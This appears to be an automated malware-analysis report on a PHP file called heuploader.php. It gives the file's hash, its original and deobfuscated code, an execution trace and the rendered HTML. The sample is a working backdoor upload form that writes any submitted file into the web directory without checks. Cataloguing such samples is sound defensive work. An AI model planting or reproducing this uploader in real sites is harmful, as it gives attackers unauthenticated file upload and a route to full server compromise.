PHP Malware Analysis

heuploader.php

md5: c0838db03bb36046e1e3fa177ee01cc5

Jump to:

Screenshot


Attributes

Files

Input


Deobfuscated PHP code

<?php

echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
if ($_POST['_upl'] == "Upload") {
    if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
        echo "<b>Upload Done.<b><br><br>";
    } else {
        echo "<b>Upload Failed.</b><br><br>";
    }
}

Execution traces

data/traces/c0838db03bb36046e1e3fa177ee01cc5_trace-1676258122.9957.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:15:48.893552]
1	0	1	0.000131	393528
1	3	0	0.000185	395464	{main}	1		/var/www/html/uploads/heuploader.php	0	0
1	3	1	0.000218	395464
			0.000244	314240
TRACE END   [2023-02-13 01:15:48.893692]


Generated HTML code

<html><head></head><body><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></body></html>

Original PHP code

<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Done.<b><br><br>'; }else { echo '<b>Upload Failed.</b><br><br>'; }}?>